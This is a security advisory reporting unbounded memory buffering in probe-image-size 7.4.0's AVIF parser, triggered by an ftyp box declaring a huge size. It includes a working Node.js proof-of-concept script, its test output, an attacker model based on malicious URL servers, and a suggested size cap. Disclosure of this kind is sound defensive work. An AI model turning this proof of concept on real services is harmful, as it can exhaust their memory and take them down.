GHSA-7pqp-3q23-mwr8: 
JavaScript Análise e mitigação de vulnerabilidades

Summary

In the stream and URL paths, an AVIF file whose first ftyp box declares a size of 0xFFFFFFF0 makes the parser buffer every byte it receives while waiting for that box, and the probe never resolves. In the test, 800 MB sent gave 860 MB of resident memory.

Affected versions

• probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.

Details

lib/parse_stream/avif.js, ftyp handling near line 151: the box is read with parser._bytes(size), where size is the 32-bit box size taken from the file, with no upper bound. The stream parser accumulates data until that many bytes have arrived. The meta box read at line 84 uses the same pattern; I executed only the ftyp variant. probe.sync is not affected because it works on a buffer the caller already holds. Attacker model: remote and unauthenticated. The attacker controls the image stream, most realistically by serving it from a URL that the target passes to probe(url).

Proof of concept

poc5.js (node poc5.js attack 800 or node poc5.js control 1):

// avif ftyp: declared box size 0xFFFFFFF0 -> parser._bytes(size) buffers until satisfied. arg: attack|control, MB
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n >>> 0); return b }
const head = Buffer.concat([u32(mode === 'attack' ? 0xFFFFFFF0 : 24), Buffer.from('ftypavif')])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const t = setInterval(() => {
  if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${(process.memoryUsage().rss / 1048576).toFixed(0)}MB resolved=${done}`); process.exit(0) }
  ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)

Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none. Control: the same 12-byte header with a normal ftyp size of 24 is handled immediately (rejected as unrecognized file format, since no image follows), memory flat:

REJECTED unrecognized file format
control: sent=1MB rss=57MB resolved=true

Attack:

attack: sent=800MB rss=860MB resolved=false

Impact

Low. Memory grows one to one with the bytes the attacker actually sends, so there is no amplification. But the probe never resolves or rejects on its own, and the library otherwise reads only a small header, so callers do not expect it to hold hundreds of megabytes. On the URL path the needle read timeout is idle based, so a server that keeps sending is never cut off. The realistic attacker is a malicious HTTP server behind a URL the target is asked to probe (link previews, avatar or image URL fields). Several such connections can exhaust the process's memory.

Suggested fix

Reject ftyp and meta boxes whose declared size is above a sane maximum before calling parser._bytes(size). The ftyp box is a few dozen bytes in real files, and a cap of a few hundred KiB on meta would cover real images. Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)